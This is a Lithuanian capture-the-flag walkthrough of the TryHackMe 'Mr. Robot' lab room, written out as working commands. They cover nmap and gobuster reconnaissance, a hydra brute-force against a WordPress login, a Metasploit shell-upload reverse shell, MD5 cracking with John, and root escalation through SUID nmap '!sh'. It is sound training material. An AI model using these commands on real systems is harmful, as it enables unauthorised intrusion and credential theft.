Kambario Mr. Robot Pažeidžiamumų Paaiškinimas | TryHackMe Demonstracija

Tomas Savenas
savenas.lt
Published in
5 min readAug 5, 2020

--

Įvadas

Šio kambario tema iš populiariaus TV serialo Mr. Robot. Šiame kambaryje yra 3 raktai kuriuos reikia surasti. Jie atrodo kaip atsitiktinis skaičių ir raidžių kratinys, kurį sudaro 32 ilgio simboliai. Mūsų taikinys yra VM kurioje yra operacinė sistema Linux, o failų sistemoje bus reikalingi raktai. Tikslui pasiekti naudosime Kali Linux įrankių rinkinį, kurį sudaro: nmap [1], curl, FireFox naršyklė, Metasploit Framework, kad išnaudoti pažeidžiamumą kartu su Reverse Shell [3] praeiti ugniasienės apsaugą. Po to reikės atlikti slaptažodžių ataką “Brute Force” būdu, panaudosime įrankį “Hydra”. Taip pat reikės maišos funkcijos reikšmę sužinoti, kuri saugos dar vieną slaptažodį. Mūsų atakos planas atodys taip:

Informacijos Rinkimas

Paleiskime VM mygtuku “Deploy” . Kol užsikraus, pasiruoškime įrankius, savo Kali VM, taip pat nmap.

Rekomenduoju vesti užrašus, kad lengviau sekti ar atgaminti procesą kilus interneto trikdžiui. Pasižymėkime kuris yra mūsų IP adresas, kuris taikinio, nes tai yra svarbu atliekant Reverse Shell.

Mano Kali: 10.10.110.10
Mano Taikinys: 10.10.110.111

Pasidarykime savo taikinio IP adresą kaip kintamąjį:

ip=10.10.110.111

Išnagrinėkime kokios paslaugos ir versijos veikia šioje VM su nmap, o komanda su argumentais yra apačioje.

nmap $ip

Matome, kad yra web prievadai atvyri, visi kiti filtruojami, 22 paslauga neveikia (closed). Atidare našyklėje matome įdomų puslapį iš TV Show Mr. Robot. Galbūt šį svetainė turi administravimo polapį, ar kokį kitą kur galime būtu tęsti paieškas. Gaukime sąrašą svetainių polapių, naudokime gobuster, prieš tai sudiekime.

apt update && apt install -y gobuster

Po to paleisime:

gobuster dir -u http://$ip/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

Gali užtrukti paeiška, tačiau mums užtenka tiek kiek radome:

Matome atsakymai HTTP 200 ties robots ir wp-admin. Patikrinus naršylėje arba su curl komanda terminale:

curl -sL $ip/robots

Matome, kad yra dar kelios nuorodos, viena iš jų yra mūsų raktas, kita žodynas tolimesniai atakai pratęsti.

wget $ip/fsocity.dic

Peržiūrėkime įkeltą žodyną: įrašų — virš 85.000, jie kartojasi ir tik unikalūs slaptažodžiai būtų:

sort fsocity.dic | uniq -u > passwordlist.txt

Mūsų prisijungimo formą:

curl -sL $ip/wp-admin

Prieigos Gavimas

Kai atidarėme puslapį matėme, kad naudotas galimas Elliot, mes ji ir naudosime, taip pat galima įvesti jį į Wordpress login formą, matysime, kai slaptažodis netinka, bet naudotas tinklapis parodys, kad slaptažodis netiko. Taip galima spėti, koks yra naudotas.

Rekomenduoju atsidaryti kitą, terminalo langą ir pasileisti hydra komandą su argumentais apačioje:
hydra -l elliot -P passwordlist.txt $ip -V http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location'

Neilgai trukus turėtų rasti slaptažodį.

Toliau kitoje terminalo sesijoje naudosime vieną iš atakos šablonų, kuris leis užmegsti atgalinę sesija žinant Wordpress prisijungimus. Pasileiskime Metasploit Framework kartu su duomenų bazę.

msfdb init && msfconsole -q

Po to kai užkraus susiraskime su search wp_admin_shell_upload arba tiesiai kvieskime skriptą su komanda use:

use exploit/unix/webapp/wp_admin_shell_upload

Reikės priskirti savo taikinio adresą, vardą ir slaptažodį:

set RHOST 
set USERNAME
set PASSWORD

Visa tai galima pasitikrinti ką reikės įvesti su komandą info. Mums bus parodyta, kurie laukai yra neįvesti tušti: “current” ir šalia matysime, kad yra “required”.

info

Kelis parametrus papildomai reikia pakeisti, kad veiktų Reverse Shell.

set WPCHECK false
set HttpClientTimeout 300

Gali kiek užtrukti sesijos mezgimas, reikės kantrybės ir nieko nespaudinėti, be reikalo.

Galime nueiti sistemos komandų interpretatorių su shell. Toliau pasižiūrėti naudotojo teisės id arba whoami

whoami && id

Po minutes dviejų atsidarys mums terminalo sesiją su to naudotojo teisėmis, mes jo home direktorijoje matysime failiukus, kurios bandysime atidaryti, tačiau ne visus atsidarys. Kitame etape tęsime savo sesijos išsikėlimą.

Prieigos išlaikymas

Matome failiuką, su plėtiniu raw.md5 jame bus maišos funkcijos rezultatas tai yra sumaišytas naudotojo slaptažodis. Prisijungę kaip tas naudotojas mes galėsime perskaityti kito failo turinį. Rekomenduoju, atsidaryti kitą Kali VM terminalą kuriame atliksime šiuos slaptažodžių atkūrimo veiksmus:

gunzip /usr/share/wordlists/rockyou.txt.gzjohn -w=/usr/share/wordlists/rockyou.txt pass.txt --format=Raw-MD5

Toliau grįškime į msfconsole terminalo sesiją:

Taip šį sesija neturi interaktyvaus bendravimo per tty, kad galėtume įvesti slaptažodį: Mes galime per Python pseudo terminalą pty gauti interaktyvų terminalą:

python -c 'import pty; pty.spawn("/bin/bash")'

Dabar jau galime perskaityti antrąjį raktą su cat komandą.

cat key-2-of-3.txt

Toliau paskutinė užduotis eskaluoti iki administratoriaus teisių. Tai galime vienu iš būdu jeigu operacinėje sistemoje yra programų kurios galimos leisti paprastiems naudotojiems, bet programa atlieka veiksmu kaip už administratorių, t.y. normalus elgiasi pvz.: komandą passwd leidžia pakeisti savo slaptažodį sistemos įprastam nautotojui, o rezultatą įrašyti į shadow failą. Tačiau reikia turėti pažeidžiamumą ar blogai sukonfigūruotas, ar perdaug duota teisių. Taip galima patikrinti su find komandą ir paieškoti teisių.

find / -user root -perm -4000 2> /dev/null

Rezultate daug įvairių galime patikrinti su gtfobins esančiomis komandomis. Kiekvieną galime patikrinti ir pabandyti, tačiau veiks tik nmap. [7].

Panaudoje specialų derinį galime iškviesti nmap.

nmap --interactive

Toliau įvede :

nmap> !sh

Gausime interaktyvų komandų interpretatorių su root teisėmis

# id
id
uid=1002(robot) gid=1002(robot) euid=0(root) groups=0(root),1002(robot)
# whoami
whoami
root

Belieka tik nusiskaityti koks yra trečiasis raktas:

# cat /root/key*
cat /root/key*

Šaltiniai

#1 https://medium.com/hackerman-lt/kas-yra-nmap-ir-kaip-juo-naudotis-49a376400e8c
#2
#3 https://medium.com/hackerman-lt/kas-yra-reverse-shell-ir-kaip-juo-naudotis-9d9bd43d1207
#4 https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
#5 https://github.com/frizb/Hydra-Cheatsheet
#6 https://medium.com/@tellicolungrevink/mr-robot-d8e38a64fecf
#7 https://gtfobins.github.io/gtfobins/nmap/

--

--

Tomas Savenas
savenas.lt

Kibernetinio saugumo entuziastas; Aktyviausias Lietuvis TryHackMe platformoje; Inovacijų valdymo ir Antreprenerystės Magistrantas @ KTU